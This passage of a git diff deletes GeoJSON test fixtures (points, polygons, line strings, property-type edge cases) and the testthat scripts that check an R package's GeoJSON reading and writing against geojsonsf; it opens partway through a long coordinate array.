8013802],[145.0151978,-37.8009491],[145.0151062,-37.8006172],[145.0150299,-37.8004379],[145.0148926,-37.800209],[145.0147858,-37.8000984],[145.0144958,-37.7999001],[145.0142212,-37.7997093],[145.0140076,-37.7995987],[145.0136719,-37.7994499],[145.013382,-37.7993393],[145.0128937,-37.7992287],[145.0123444,-37.7991295],[145.0118713,-37.7990685],[145.0113983,-37.7990074],[145.0111389,-37.7990189],[145.0109253,-37.7990608],[145.0107117,-37.7991676],[145.0105438,-37.7993393],[145.010376,-37.79953],[145.0101776,-37.7996979],[145.009903,-37.7998695],[145.0095062,-37.8000603],[145.0090179,-37.8002892],[145.0084991,-37.800499],[145.0080109,-37.8006897],[145.0076904,-37.800808],[145.00737,-37.8009109],[145.0071259,-37.80093],[145.0069733,-37.8009109],[145.0067902,-37.800808],[145.0066376,-37.8006783],[145.0065002,-37.800499],[145.0064392,-37.8003006],[145.006424,-37.8001099],[145.0064392,-37.7998009],[145.0064545,-37.7995377],[145.0065002,-37.7992401],[145.0065613,-37.7989693],[145.0066833,-37.7987785],[145.006897,-37.7985306],[145.0070648,-37.7984009],[145.0072327,-37.7983093],[145.0074768,-37.7982407],[145.0077667,-37.7981186],[145.0081482,-37.7979088],[145.0084381,-37.797718],[145.008667,-37.7975807],[145.0089111,-37.7974586],[145.0091705,-37.7973175],[145.0093536,-37.7971802],[145.009491,-37.7970276],[145.0096283,-37.7968597],[145.0096741,-37.7967072],[145.0096283,-37.7965393],[145.009491,-37.7964096],[145.0092621,-37.7963181],[145.0090332,-37.7962799],[145.0087738,-37.7962494],[145.0084991,-37.7962494],[145.008255,-37.7962685],[145.0080566,-37.796299],[145.0078583,-37.7963676],[145.0077057,-37.7964783],[145.00737,-37.79673],[145.007019,-37.7969475],[145.006485,-37.7972183],[145.0060425,-37.7974777],[145.005661,-37.7977409],[145.0053253,-37.7979507],[145.0050507,-37.7980576],[145.0048218,-37.7980995],[145.0045929,-37.798069],[145.0044403,-37.7980003],[145.004303,-37.7978973],[145.0042114,-37.7977486],[145.0041504,-37.7975388],[145.0041351,-37.7973175],[145.0041199,-37.7970505],[145.0040894,-37.7966576],[145.0040588,-37.7963676],[145.0039825,-37.7961273],[145.00383,-37.7959595],[145.0036011,-37.7958107],[145.0033569,-37.7957497],[145.0031738,-37.7957382],[145.0028534,-37.7957802],[145.0026093,-37.7958603],[145.0023804,-37.79599],[145.0021973,-37.7961998],[145.0020294,-37.7964897],[145.0019379,-37.7966499],[145.0015717,-37.7961998],[145.0015717,-37.7961884],[145.0015717,-37.7961693],[145.0015717,-37.7961578],[145.0015564,-37.7961502],[145.0015564,-37.7961502],[145.0015564,-37.7961197],[145.0015564,-37.7961006],[145.0015411,-37.7960777],[145.0015411,-37.7960701],[145.0015411,-37.7960472],[145.0015411,-37.7960396],[145.0015411,-37.7960205],[145.0015411,-37.7960091],[145.0015411,-37.7959976],[145.0014954,-37.7959976],[145.0014954,-37.795948],[145.0014954,-37.7959404],[145.0014801,-37.7958984],[145.0014343,-37.7958679],[145.0014191,-37.7958679],[145.0013885,-37.7958488],[145.0013733,-37.7958488],[145.001358,-37.7958488],[145.0013428,-37.7958374],[145.0013428,-37.7958374],[145.0013123,-37.7958298],[145.0013123,-37.7958183],[145.001297,-37.7958107],[145.001297,-37.7957993],[145.0012817,-37.7957878],[145.0012817,-37.7957687],[145.0012817,-37.7957497],[145.0012817,-37.7957191],[145.0012817,-37.7957077],[145.0012817,-37.7956772],[145.0012817,-37.7956696],[145.0012817,-37.7956581],[145.0012817,-37.7956505],[145.0012817,-37.79562],[145.0012817,-37.7955894],[145.0010529,-37.795639],[145.0010681,-37.7957497],[145.0010071,-37.7958488],[145.0009308,-37.7959099],[145.0007629,-37.79599],[145.0005951,-37.7960091],[145.0000916,-37.7960396],[144.9991913,-37.7960701],[144.9980011,-37.7961082],[144.9976654,-37.7961006],[144.9976196,-37.7964172],[144.9954834,-37.7962074],[144.9954834,-37.7961197],[144.9953613,-37.7961082],[144.9950714,-37.7960281],[144.9949951,-37.7960205],[144.9949188,-37.7960091],[144.9948273,-37.7960091],[144.9944611,-37.7960472],[144.994339,-37.7960396],[144.9940643,-37.7960205],[144.9938812,-37.7960205],[144.9935913,-37.7960472],[144.9936066,-37.7959709],[144.9934845,-37.7958183],[144.9933319,-37.7956696],[144.9931641,-37.795578],[144.992981,-37.7955284],[144.9922028,-37.7953873],[144.9919891,-37.7953377],[144.991806,-37.7952881],[144.9916077,-37.7952309],[144.9914246,-37.7951584],[144.9909821,-37.7949677],[144.9906616,-37.794838],[144.9904633,-37.7947693],[144.9902802,-37.7947197],[144.9901276,-37.7946892],[144.9900208,-37.7947006],[144.9899292,-37.7946892],[144.9898834,-37.7946777],[144.9898834,-37.7946701],[144.9897919,-37.7946472],[144.98909,-37.7945786],[144.9889832,-37.7945709],[144.9886322,-37.794529],[144.9882507,-37.7944984],[144.9880219,-37.7944794],[144.9880066,-37.7944679],[144.9877472,-37.7944374],[144.9876862,-37.7944298],[144.9874725,-37.7944107],[144.9869232,-37.7943573],[144.9860687,-37.7942581],[144.9857178,-37.7942276],[144.9852142,-37.794178],[144.9850922,-37.7941589],[144.9851837,-37.7936172],[144.9853821,-37.7924004],[144.9854584,-37.7920074],[144.985672,-37.7907982],[144.9864197,-37.7904892],[144.9868011,-37.7903404],[144.9872437,-37.7901497],[144.9876404,-37.789978],[144.9889984,-37.7894173],[144.99086,-37.7886391],[144.9919739,-37.7881775],[144.9920502,-37.7881088],[144.9922791,-37.7880287],[144.9947205,-37.7872276],[144.9950562,-37.7871399],[144.9952698,-37.7871208],[144.995636,-37.7869873],[144.9956665,-37.7868385],[144.9957123,-37.7865486],[144.9956207,-37.7859993],[144.9954681,-37.7856293],[144.9951782,-37.7852287],[144.9951019,-37.7851486],[144.9955902,-37.7846909],[144.9956207,-37.7847099],[144.9958191,-37.7848396],[144.996048,-37.7850189],[144.9962158,-37.7851181],[144.9963531,-37.7851906],[144.9963837,-37.7851982],[144.9964447,-37.7852402],[144.9971924,-37.7854576],[144.9975281,-37.7855682],[144.997818,-37.7856293],[144.9982452,-37.7856102],[144.9985199,-37.7855377],[144.9987335,-37.7854691],[144.9989777,-37.785408],[144.9995117,-37.7851295],[144.9999237,-37.7848396],[145.000351,-37.7845573],[145.0005341,-37.7843704],[145.0005798,-37.7843208],[145.0007935,-37.7841072],[145.0009308,-37.7839394],[145.0011444,-37.7837181],[145.0014191,-37.7833786],[145.0016785,-37.7831306],[145.0018005,-37.7830582],[145.0022888,-37.7829895],[145.0026093,-37.7830009],[145.0027771,-37.7830505],[145.0031433,-37.7832184],[145.0034027,-37.7833672],[145.0035095,-37.7834778],[145.0037231,-37.7837296],[145.0039978,-37.7840691],[145.0042114,-37.784359],[145.0047913,-37.7842293],[145.005188,-37.7841377],[145.0054932,-37.7840881],[145.0057831,-37.7840385],[145.0059204,-37.7840195],[145.006073,-37.7840004],[145.0063782,-37.7839584],[145.0066833,-37.7839394],[145.0069885,-37.7839203],[145.0072937,-37.7838974],[145.0075684,-37.7838974],[145.0078583,-37.7838974],[145.0081329,-37.7839088],[145.0083923,-37.7839279],[145.008667,-37.7839508],[145.0088959,-37.7839699],[145.00914,-37.7840004],[145.0093689,-37.7840309],[145.009613,-37.7840691],[145.0100403,-37.7841492],[145.0101929,-37.7841682],[145.0103607,-37.7841873],[145.0108032,-37.7842178],[145.010849,-37.7842178],[145.0110626,-37.7842293],[145.0113068,-37.7842407],[145.0115662,-37.7842407],[145.0118103,-37.7842293],[145.0120697,-37.7842102],[145.0122528,-37.7841873],[145.0123138,-37.7841873],[145.0125732,-37.7841492],[145.0128021,-37.7841072],[145.0142975,-37.7838287],[145.0144806,-37.7837906],[145.0148315,-37.7837906],[145.0149994,-37.7837601],[145.0161896,-37.7835579],[145.0173798,-37.7833595],[145.0176544,-37.7833595],[145.0184174,-37.7832108],[145.0185699,-37.7831802],[145.0191345,-37.7830696],[145.0197601,-37.7829399],[145.0209198,-37.7827072],[145.0220032,-37.7824898],[145.0232849,-37.782238],[145.0234222,-37.7822189],[145.0240936,-37.7820473],[145.0245667,-37.7819405],[145.0250244,-37.781868],[145.0257416,-37.7817688],[145.027298,-37.7814789],[145.0279388,-37.7813606]]]}}]} diff --git a/tests/testthat/geojson/geometry-collection.json b/tests/testthat/geojson/geometry-collection.json deleted file mode 100644 index 6bbcf58..0000000 --- a/tests/testthat/geojson/geometry-collection.json +++ /dev/null @@ -1,188 +0,0 @@ -{ - "type": "GeometryCollection", - "geometries": [ - { - "type": "Point", - "coordinates": [ - -80.660805, - 35.049392 - ] - }, - { - "type": "Polygon", - "coordinates": [ - [ - [ - -80.664582, - 35.044965 - ], - [ - -80.663874, - 35.04428 - ], - [ - -80.662586, - 35.04558 - ], - [ - -80.663444, - 35.046036 - ], - [ - -80.664582, - 35.044965 - ] - ] - ] - }, - { - "type": "LineString", - "coordinates": [ - [ - -80.662372, - 35.059509 - ], - [ - -80.662693, - 35.059263 - ], - [ - -80.662844, - 35.05893 - ], - [ - -80.66308, - 35.058332 - ], - [ - -80.663595, - 35.057753 - ], - [ - -80.663874, - 35.057401 - ], - [ - -80.66441, - 35.057033 - ], - [ - -80.664861, - 35.056787 - ], - [ - -80.665419, - 35.056506 - ], - [ - -80.665633, - 35.056312 - ], - [ - -80.666019, - 35.055891 - ], - [ - -80.666191, - 35.055452 - ], - [ - -80.666191, - 35.055171 - ], - [ - -80.666255, - 35.05489 - ], - [ - -80.666213, - 35.054222 - ], - [ - -80.666213, - 35.053924 - ], - [ - -80.665955, - 35.052905 - ], - [ - -80.665698, - 35.052044 - ], - [ - -80.665504, - 35.051482 - ], - [ - -80.665762, - 35.050481 - ], - [ - -80.66617, - 35.049725 - ], - [ - -80.666513, - 35.049286 - ], - [ - -80.666921, - 35.048531 - ], - [ - -80.667006, - 35.048215 - ], - [ - -80.667071, - 35.047775 - ], - [ - -80.667049, - 35.047389 - ], - [ - -80.666964, - 35.046985 - ], - [ - -80.666813, - 35.046353 - ], - [ - -80.666599, - 35.045966 - ], - [ - -80.666406, - 35.045615 - ], - [ - -80.665998, - 35.045193 - ], - [ - -80.665526, - 35.044877 - ], - [ - -80.664989, - 35.044543 - ], - [ - -80.664496, - 35.044174 - ], - [ - -80.663852, - 35.043876 - ], - [ - -80.663037, - 35.043717 - ] - ] - } - ] -} diff --git a/tests/testthat/geojson/holding/coord-class-multipoint-xyz1.json b/tests/testthat/geojson/holding/coord-class-multipoint-xyz1.json deleted file mode 100644 index 47618f3..0000000 --- a/tests/testthat/geojson/holding/coord-class-multipoint-xyz1.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPoint","coordinates":[[0.0,0.0,0.0],[1.0,1.0]]} diff --git a/tests/testthat/geojson/holding/coord-class-multipoint-xyz2.json b/tests/testthat/geojson/holding/coord-class-multipoint-xyz2.json deleted file mode 100644 index 9b68f9f..0000000 --- a/tests/testthat/geojson/holding/coord-class-multipoint-xyz2.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPoint","coordinates":[[0.0,0.0],[1.0,1.0,1.0]]} diff --git a/tests/testthat/geojson/holding/coord-class-multipoint-xyzm1.json b/tests/testthat/geojson/holding/coord-class-multipoint-xyzm1.json deleted file mode 100644 index a5893a3..0000000 --- a/tests/testthat/geojson/holding/coord-class-multipoint-xyzm1.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPoint","coordinates":[[0.0,0.0,0.0,0.0],[1.0,1.0]]} diff --git a/tests/testthat/geojson/holding/property-empty-object.json b/tests/testthat/geojson/holding/property-empty-object.json deleted file mode 100644 index 670eaf4..0000000 --- a/tests/testthat/geojson/holding/property-empty-object.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":{"id":{}},"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/holding/property-mixed-type2.json b/tests/testthat/geojson/holding/property-mixed-type2.json deleted file mode 100644 index 90ababc..0000000 --- a/tests/testthat/geojson/holding/property-mixed-type2.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type":"Feature","properties":{"id":1},"geometry":{"type":"Point","coordinates":[0,0]}}, - {"type" : "Feature","properties" : { "id" : true},"geometry" : { "type" : "Point", "coordinates" : [2,2] }}] diff --git a/tests/testthat/geojson/holding/property-mixed-type3.json b/tests/testthat/geojson/holding/property-mixed-type3.json deleted file mode 100644 index be896a9..0000000 --- a/tests/testthat/geojson/holding/property-mixed-type3.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : null},"geometry" : { "type" : "Point", "coordinates" : [1,0] }}, - {"type" : "Feature","properties" : { "id" : null},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/holding/property-mixed-type4.json b/tests/testthat/geojson/holding/property-mixed-type4.json deleted file mode 100644 index 4a01fe0..0000000 --- a/tests/testthat/geojson/holding/property-mixed-type4.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : "a"},"geometry" : { "type" : "Point", "coordinates" : [0,1] }}, - {"type" : "Feature","properties" : { "id" : 1},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/holding/property-mixed-type5.json b/tests/testthat/geojson/holding/property-mixed-type5.json deleted file mode 100644 index c943d05..0000000 --- a/tests/testthat/geojson/holding/property-mixed-type5.json +++ /dev/null @@ -1 +0,0 @@ -{"type": "Feature","properties":{"id":[1,2,3],"name":{"foo":"bar"}},"geometry":{"type":"LineString","coordinates":[[101.0,0.0],[102.0,1.0]]}} diff --git a/tests/testthat/geojson/holding/property-mixed-type6.json b/tests/testthat/geojson/holding/property-mixed-type6.json deleted file mode 100644 index f81d343..0000000 --- a/tests/testthat/geojson/holding/property-mixed-type6.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : 1 },"geometry" : { "type" : "Point", "coordinates" : [0,1] }}, - {"type" : "Feature","properties" : { "id" : {"a":"b"}},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/linestring00.json b/tests/testthat/geojson/linestring00.json deleted file mode 100644 index 744703e..0000000 --- a/tests/testthat/geojson/linestring00.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "type": "Feature", - "geometry": { - "type": "LineString", - "coordinates": [ - [102.0, 0.0], [103.0, 1.0], [104.0, 0.0], [105.0, 1.0] - ] - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/multilinestring00.json b/tests/testthat/geojson/multilinestring00.json deleted file mode 100644 index 706696c..0000000 --- a/tests/testthat/geojson/multilinestring00.json +++ /dev/null @@ -1,92 +0,0 @@ -{ - "type": "Feature", - "geometry": { - "type": "MultiLineString", - "coordinates": [ - [ - [ - -105.0214433670044, - 39.57805759162015 - ], - [ - -105.02150774002075, - 39.57780951131517 - ], - [ - -105.02157211303711, - 39.57749527498758 - ], - [ - -105.02157211303711, - 39.57716449836683 - ], - [ - -105.02157211303711, - 39.57703218727656 - ], - [ - -105.02152919769287, - 39.57678410330158 - ] - ], - [ - [ - -105.01989841461182, - 39.574997872470774 - ], - [ - -105.01959800720215, - 39.57489863607502 - ], - [ - -105.01906156539916, - 39.57478286010041 - ] - ], - [ - [ - -105.01717329025269, - 39.5744024519653 - ], - [ - -105.01698017120361, - 39.574385912433804 - ], - [ - -105.0166368484497, - 39.574385912433804 - ], - [ - -105.01650810241699, - 39.5744024519653 - ], - [ - -105.0159502029419, - 39.574270135602866 - ] - ], - [ - [ - -105.0142765045166, - 39.57397242286402 - ], - [ - -105.01412630081175, - 39.57403858136094 - ], - [ - -105.0138258934021, - 39.57417089816531 - ], - [ - -105.01331090927124, - 39.57445207053608 - ] - ] - ] - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/multipoint00.json b/tests/testthat/geojson/multipoint00.json deleted file mode 100644 index 49a62bd..0000000 --- a/tests/testthat/geojson/multipoint00.json +++ /dev/null @@ -1,7 +0,0 @@ -{ -"type": "MultiPoint", -"coordinates": [ - [100.0, 0.0], [101.0, 1.0] -] -} - diff --git a/tests/testthat/geojson/multipoint01.json b/tests/testthat/geojson/multipoint01.json deleted file mode 100644 index 22e6f25..0000000 --- a/tests/testthat/geojson/multipoint01.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "type": "Feature", - "geometry": { -"type": "MultiPoint", -"coordinates": [ - [100.0, 0.0], [101.0, 1.0] -] - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/multipolygon.json b/tests/testthat/geojson/multipolygon.json deleted file mode 100644 index 604baff..0000000 --- a/tests/testthat/geojson/multipolygon.json +++ /dev/null @@ -1,61 +0,0 @@ -{ - "type": "Feature", - "geometry": { - "type": "MultiPolygon", - "coordinates": [ - [ - [ - [ - 107, - 7 - ], - [ - 108, - 7 - ], - [ - 108, - 8 - ], - [ - 107, - 8 - ], - [ - 107, - 7 - ] - ] - ], - [ - [ - [ - 100, - 0 - ], - [ - 101, - 0 - ], - [ - 101, - 1 - ], - [ - 100, - 1 - ], - [ - 100, - 0 - ] - ] - ] - ] - - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/point00.json b/tests/testthat/geojson/point00.json deleted file mode 100644 index 2736257..0000000 --- a/tests/testthat/geojson/point00.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "type": "Point", - "coordinates": [125.6, 10.1] -} - diff --git a/tests/testthat/geojson/point01.json b/tests/testthat/geojson/point01.json deleted file mode 100644 index 6fadff1..0000000 --- a/tests/testthat/geojson/point01.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [125.6, 10.1] - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/polygon.json b/tests/testthat/geojson/polygon.json deleted file mode 100644 index 0229392..0000000 --- a/tests/testthat/geojson/polygon.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "type": "Feature", - "geometry": { - "type": "Polygon", - "coordinates": [ - [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], - [100.0, 1.0], [100.0, 0.0] ], - [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], - [100.0, 1.0], [100.0, 0.0] ] - ] - }, - "properties": { - "name": "Dinagat Islands" - } -} - diff --git a/tests/testthat/geojson/property-empty-object.json b/tests/testthat/geojson/property-empty-object.json deleted file mode 100644 index 670eaf4..0000000 --- a/tests/testthat/geojson/property-empty-object.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":{"id":{}},"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/property-empty.json b/tests/testthat/geojson/property-empty.json deleted file mode 100644 index 6013ab2..0000000 --- a/tests/testthat/geojson/property-empty.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":{"id":null},"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/property-logical.json b/tests/testthat/geojson/property-logical.json deleted file mode 100644 index 1ff9d1f..0000000 --- a/tests/testthat/geojson/property-logical.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":{"id":true},"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/property-mixed-type.json b/tests/testthat/geojson/property-mixed-type.json deleted file mode 100644 index 9e51d1d..0000000 --- a/tests/testthat/geojson/property-mixed-type.json +++ /dev/null @@ -1,2 +0,0 @@ -{"type":"FeatureCollection","features":[{"type":"Feature","properties":{"id":1},"geometry":{"type":"Point","coordinates":[0,0]}}, -{"type":"Feature","properties":{"id":"a"},"geometry":{"type":"Point","coordinates":[1,1]}}]} diff --git a/tests/testthat/geojson/property-mixed-type2.json b/tests/testthat/geojson/property-mixed-type2.json deleted file mode 100644 index 90ababc..0000000 --- a/tests/testthat/geojson/property-mixed-type2.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type":"Feature","properties":{"id":1},"geometry":{"type":"Point","coordinates":[0,0]}}, - {"type" : "Feature","properties" : { "id" : true},"geometry" : { "type" : "Point", "coordinates" : [2,2] }}] diff --git a/tests/testthat/geojson/property-mixed-type3.json b/tests/testthat/geojson/property-mixed-type3.json deleted file mode 100644 index be896a9..0000000 --- a/tests/testthat/geojson/property-mixed-type3.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : null},"geometry" : { "type" : "Point", "coordinates" : [1,0] }}, - {"type" : "Feature","properties" : { "id" : null},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/property-mixed-type4.json b/tests/testthat/geojson/property-mixed-type4.json deleted file mode 100644 index 4a01fe0..0000000 --- a/tests/testthat/geojson/property-mixed-type4.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : "a"},"geometry" : { "type" : "Point", "coordinates" : [0,1] }}, - {"type" : "Feature","properties" : { "id" : 1},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/property-mixed-type5.json b/tests/testthat/geojson/property-mixed-type5.json deleted file mode 100644 index c943d05..0000000 --- a/tests/testthat/geojson/property-mixed-type5.json +++ /dev/null @@ -1 +0,0 @@ -{"type": "Feature","properties":{"id":[1,2,3],"name":{"foo":"bar"}},"geometry":{"type":"LineString","coordinates":[[101.0,0.0],[102.0,1.0]]}} diff --git a/tests/testthat/geojson/property-mixed-type6.json b/tests/testthat/geojson/property-mixed-type6.json deleted file mode 100644 index f81d343..0000000 --- a/tests/testthat/geojson/property-mixed-type6.json +++ /dev/null @@ -1,2 +0,0 @@ -[{"type" : "Feature","properties" : { "id" : 1 },"geometry" : { "type" : "Point", "coordinates" : [0,1] }}, - {"type" : "Feature","properties" : { "id" : {"a":"b"}},"geometry" : { "type" : "Point", "coordinates" : [0,0] }}] diff --git a/tests/testthat/geojson/property-null-value.json b/tests/testthat/geojson/property-null-value.json deleted file mode 100644 index 6013ab2..0000000 --- a/tests/testthat/geojson/property-null-value.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":{"id":null},"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/property-null.json b/tests/testthat/geojson/property-null.json deleted file mode 100644 index 62983a5..0000000 --- a/tests/testthat/geojson/property-null.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Feature","properties":null,"geometry":{"type":"Point","coordinates":[0,0]}} diff --git a/tests/testthat/geojson/ref.rds b/tests/testthat/geojson/ref.rds deleted file mode 100644 index c0baf32..0000000 Binary files a/tests/testthat/geojson/ref.rds and /dev/null differ diff --git a/tests/testthat/geojson/standard-example.json b/tests/testthat/geojson/standard-example.json deleted file mode 100644 index 04e817f..0000000 --- a/tests/testthat/geojson/standard-example.json +++ /dev/null @@ -1,35 +0,0 @@ -{ "type": "FeatureCollection", - "features": [ - { "type": "Feature", - "geometry": {"type": "Point", "coordinates": [102.0, 0.5]}, - "properties": {"prop0": "value0"} - }, - { "type": "Feature", - "geometry": { - "type": "LineString", - "coordinates": [ - [102.0, 0.0], [103.0, 1.0], [104.0, 0.0], [105.0, 1.0] - ] - }, - "properties": { - "prop0": "value0", - "prop1": 0.0 - } - }, - { "type": "Feature", - "geometry": { - "type": "Polygon", - "coordinates": [ - [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], - [100.0, 1.0], [100.0, 0.0] ] - ] - - }, - "properties": { - "prop0": "value0", - "prop1": {"this": "that"} - } - } - ] - } - diff --git a/tests/testthat/test-geojson-digits.R b/tests/testthat/test-geojson-digits.R deleted file mode 100644 index de4cf09..0000000 --- a/tests/testthat/test-geojson-digits.R +++ /dev/null @@ -1,49 +0,0 @@ - -js <- r"( -{ - "type": "FeatureCollection", - "features": [ - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.870885, - 35.215151 - ] - }, - "properties": { - "value": 1.0 - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.837753, - 35.249801 - ] - }, - "properties": { - "value": "a" - } - } - ] -} -)" - - -test_that("geojson digits works", { - - x <- read_geojson_str(js) - - js2 <- write_geojson_str(x, digits = 0) - - x2 <- read_geojson_str(js2) - - expect_equal(unclass(x2$geometry[[1]]), c(-81, 35)) - expect_equal(unclass(x2$geometry[[2]]), c(-81, 35)) - - -}) diff --git a/tests/testthat/test-geojson-promotion-compat.R b/tests/testthat/test-geojson-promotion-compat.R deleted file mode 100644 index 1368a6e..0000000 --- a/tests/testthat/test-geojson-promotion-compat.R +++ /dev/null @@ -1,50 +0,0 @@ - - -js <- r"( -{ - "type": "FeatureCollection", - "features": [ - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.870885, - 35.215151 - ] - }, - "properties": { - "value": 1.0 - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.837753, - 35.249801 - ] - }, - "properties": { - "value": "a" - } - } - ] -} -)" - - - -test_that("geojson property promotion works", { - - tst <- read_geojson_str(js) # geojson compat - expect_identical(tst$value, c("1.000000", "a")) - - tst <- read_geojson_str(js, property_promotion = 'string') # geojson compat - expect_identical(tst$value, c("1.000000", "a")) - - tst <- read_geojson_str(js, property_promotion = 'list') - expect_identical(tst$value, list(1.0, "a")) - -}) diff --git a/tests/testthat/test-geojson-read-write.R b/tests/testthat/test-geojson-read-write.R deleted file mode 100644 index 268caeb..0000000 --- a/tests/testthat/test-geojson-read-write.R +++ /dev/null @@ -1,126 +0,0 @@ - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Set load path depending on whether debugging or testing within package -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -if (testthat::is_testing()) { - examples_dir <- "./geojson" -} else { - # manually running during development - examples_dir <- "tests/testthat/geojson" -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Determine list of JSON files to test -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -json_files <- list.files(examples_dir, pattern = "json$", full.names = TRUE) - -json <- lapply(json_files, function(x) { - paste(readLines(x), collapse = "\n") -}) -names(json) <- basename(tools::file_path_sans_ext(json_files)) - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Generate reference objects using {geojsonsf} -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -if (FALSE) { - # json_files <- list.files(examples_dir, pattern = "json$", full.names = TRUE) - # - # ref <- list(sf = list(), sfc = list()) - # - # prep <- function(json_file) { - # nm <- basename(json_file) - # ref$sf [[nm]] <<- geojsonsf::geojson_sf (json_file) - # ref$sfc[[nm]] <<- geojsonsf::geojson_sfc(json_file) - # } - # - # for (json_file in json_files) { - # prep(json_file) - # } - # - # saveRDS(ref, "tests/testthat/geojson/ref.rds", compress = 'xz') -} - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Read reference objects created from GeoJSON with {geojsonsf} package -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -ref <- readRDS(file.path(examples_dir, "ref.rds")) - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Trivial column sorting for data.frames -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -df_sort <- function(df) { - df[, sort(colnames(df)), drop = FALSE] -} - -expect_equal_when_colnames_sorted <- function(tst, ref, label = NULL) { - tst <- df_sort(tst) - ref <- df_sort(ref) - expect_equal(tst, ref, label = label) -} - - - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#' Check that {yyjsonr} parses GeoJSON in the same was as {geojsonsf} -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -test_that("Compare parsing of GeoJSON to {geojsonsf}", { - - for (json_file in json_files) { - - # Reference objects from {geojsonsf} are indexed by the - # basename() of the JSON file - nm <- basename(json_file) - - # Read as 'sf' data.frame object - sf <- read_geojson_file(json_file, type = 'sf') - if (nm == 'standard-example.json') { - # When geojsonsf promotos double 0.0 to string, it makes it '0' - # whereas yyjsonr makes it "0.000000" - sf$prop1 <- gsub("0.000000", "0", sf$prop1) - } - expect_equal_when_colnames_sorted(sf, ref$sf[[nm]], label = nm) - - # Read as 'sfc' list object of just geometry - sfc <- read_geojson_file(json_file, type = 'sfc') - expect_equal(sfc, ref$sfc[[nm]], label = nm) - } -}) - - - 